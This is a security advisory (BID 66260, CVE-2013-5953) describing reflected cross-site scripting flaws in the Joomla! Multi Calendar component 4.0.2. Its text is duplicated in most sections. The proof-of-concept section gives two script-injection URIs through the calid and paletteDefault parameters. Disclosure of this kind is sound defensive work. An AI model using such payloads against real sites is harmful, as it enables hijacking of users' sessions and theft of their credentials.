Joomla! Multi Calendar Component 'index.php' Multiple Cross Site Scripting Vulnerabilities
BID:66260
Info
Joomla! Multi Calendar Component 'index.php' Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 66260 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-5953 |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 15 2014 12:00AM |
| Updated: | Mar 15 2014 12:00AM |
| Credit: | Mahmoud Ghorbanzadeh |
| Vulnerable: |
Joomla Multi Calendar 4.0.2 |
| Not Vulnerable: | |
Discussion
Joomla! Multi Calendar Component 'index.php' Multiple Cross Site Scripting Vulnerabilities
The Multi Calendar component for Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Multi Calendar 4.0.2 is vulnerable; other versions may also be affected.
The Multi Calendar component for Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Multi Calendar 4.0.2 is vulnerable; other versions may also be affected.
Exploit / POC
Joomla! Multi Calendar Component 'index.php' Multiple Cross Site Scripting Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/index.php?option=com_multicalendar&task=editevent&calid=1";</script><script>alert('XSS');</script>
http://www.example.com/index.php?option=com_multicalendar&task=editevent&paletteDefault=1"</script><script>alert('XSS');</script>
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/index.php?option=com_multicalendar&task=editevent&calid=1";</script><script>alert('XSS');</script>
http://www.example.com/index.php?option=com_multicalendar&task=editevent&paletteDefault=1"</script><script>alert('XSS');</script>
Solution / Fix
Joomla! Multi Calendar Component 'index.php' Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! Multi Calendar Component 'index.php' Multiple Cross Site Scripting Vulnerabilities
References:
References:
- Multi Calender Homepage (Joomla!)